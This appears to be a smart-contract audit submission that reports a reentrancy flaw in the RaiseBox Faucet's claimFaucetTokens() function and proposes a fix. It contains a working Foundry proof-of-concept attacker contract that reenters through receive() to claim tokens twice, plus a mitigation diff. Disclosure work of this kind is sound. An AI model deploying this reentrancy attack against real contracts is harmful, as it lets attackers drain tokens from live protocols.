Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `claimFaucetTokens()` Allows Double Token Claims

Description

The claimFaucetTokens() function is designed to distribute faucet tokens to users with a 3-day cooldown period and daily claim limits. First-time claimers also receive a small amount of Sepolia ETH to cover gas costs. The function should only allow one claim per transaction, with state variables lastClaimTime and dailyClaimCount preventing rapid successive claims.

The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call to send ETH to the claimer before updating critical state variables. This allows a malicious contract to reenter the function during the ETH transfer and claim tokens a second time, bypassing cooldown and daily limit protections.

Risk

Likelihood: High

  • Any first-time claimer can deploy a malicious contract with a receive() function that calls claimFaucetTokens() again

  • The attack requires minimal technical sophistication - a simple contract with a reentry flag

  • The vulnerability is exploitable on every first-time claim attempt

  • No special timing or external conditions are required beyond being a first-time claimer

Impact: High

  • Attackers receive double the intended token amount (2000 tokens instead of 1000) per transaction

  • Cooldown mechanism is completely bypassed - attackers get 2 claims worth of tokens immediately instead of waiting 3 days

  • Daily claim limits are circumvented - the counter increments by 1 but attacker receives 2x tokens

  • Contract economics are broken - total supply drains at 2x the intended rate

  • If 100 attackers exploit this, the faucet loses 100,000 extra tokens that should have served 100 additional legitimate users

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrantClaimer {
RaiseBoxFaucet public faucet;
uint256 reentryCount;
constructor(RaiseBoxFaucet _faucet) {
faucet = _faucet;
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
reentryCount++;
console.log("Reentry attempt #", reentryCount);
if (reentryCount < 2) {
faucet.claimFaucetTokens(); // Reenter before state updates
console.log(" -> Reentry succeeded!");
}
}
}
contract ReentrancyExploitTest is Test {
RaiseBoxFaucet faucet;
function setUp() public {
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.005 ether,
0.5 ether
);
vm.deal(address(faucet), 1 ether);
vm.warp(3 days);
}
function testReentrancyDoublesClaim() public {
ReentrantClaimer attacker = new ReentrantClaimer(faucet);
attacker.attack();
uint256 drip = faucet.faucetDrip();
assertEq(
faucet.getBalance(address(attacker)),
drip * 2,
"Attacker claimed tokens twice via reentrancy"
);
// Cooldown was bypassed - both claims happened in same transaction
// Daily limit was bypassed - counter shows 1 but attacker got 2x tokens
}
}

To run the proof of concept:

forge test --match-test testReentrancyDoublesClaim -vv

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by moving all state updates before external calls, and add OpenZeppelin's ReentrancyGuard as defense-in-depth:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
faucetClaimer = msg.sender;
// Checks
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
+ // Determine if ETH should be dripped (but don't send yet)
+ bool shouldDripEth = false;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
+ shouldDripEth = true;
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success, ) = faucetClaimer.call{
- value: sepEthAmountToDrip
- }("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
- } else {
- dailyDrips = 0; // ❌ Remove this - it incorrectly resets daily tracking
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- // Effects
+ // Effects - Update state BEFORE external calls
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
- // Interactions
+ // Interactions - External calls AFTER state updates
+ if (shouldDripEth) {
+ (bool success, ) = faucetClaimer.call{
+ value: sepEthAmountToDrip
+ }("");
+
+ if (!success) {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ }
+
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Key fixes:

  1. The nonReentrant modifier prevents any reentrant calls

  2. Moving state updates (lastClaimTime, dailyClaimCount) before external calls ensures reentrancy checks will fail

  3. Removing the erroneous dailyDrips = 0 in the else block preserves daily ETH cap integrity

  4. The shouldDripEth flag decouples the decision logic from the execution, maintaining CEI pattern

Additional Notes

Attack Limitation: The vulnerability allows exactly 2 claims (not unlimited) because hasClaimedEth[faucetClaimer] is set to true before the external call. This means:

  • First call: ETH is sent → triggers receive() → allows one reentry

  • Second call (reentry): hasClaimedEth is already true → no ETH sent → receive() not triggered → no further reentries

However, doubling the token claim is still a critical vulnerability that must be fixed.


Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!